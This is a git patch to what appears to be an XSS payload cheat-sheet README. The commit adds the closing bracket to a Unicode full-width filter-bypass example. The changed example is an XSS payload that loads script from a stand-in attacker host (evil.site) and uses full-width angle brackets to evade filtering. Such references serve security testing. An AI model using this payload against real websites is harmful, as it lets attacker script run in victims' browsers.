From 6f758ba6c022192bc1b390adaf9f2a0cebeaed2e Mon Sep 17 00:00:00 2001 From: lapolis_aka_blu <57040859+lapolis@users.noreply.github.com> Date: Fri, 15 Jan 2021 16:38:51 +0000 Subject: [PATCH] Added closing bracket in unicode full width bypass Yeah I know it is logic to use it if you really need the closing tag. But having both brackets in your repo makes it quicker to copy paste :D --- XSS Injection/README.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index 51b9e31..47f2fd8 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -45,7 +45,7 @@ Cross-site scripting (XSS) is a type of computer security vulnerability typicall - [Bypass using an alternate way to redirect](#bypass-unsing-an-alternate-way-to-redirect) - [Bypass using an alternate way to execute an alert](#bypass-using-an-alternate-way-to-execute-an-alert) - [Bypass ">" using nothing](#bypass----using-nothing) - - [Bypass "<" using <](#bypass----using-<) + - [Bypass "<" and ">" using < and >](#bypass----using-<) - [Bypass ";" using another character](#bypass-using------using-another-character) - [Bypass using HTML encoding](#bypass-using-html-encoding) - [Bypass using Katana](#bypass-using-katana) @@ -793,10 +793,12 @@ You don't need to close your tags. " using < and > + +Unicode Character U+FF1C and U+FF1E ```javascript -[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮ͅ=sW&͉̹̻͙̫̦̮̲͏̼̝̫́̕ +<script/src=//evil.site/poc.js> ``` ### Bypass ";" using another character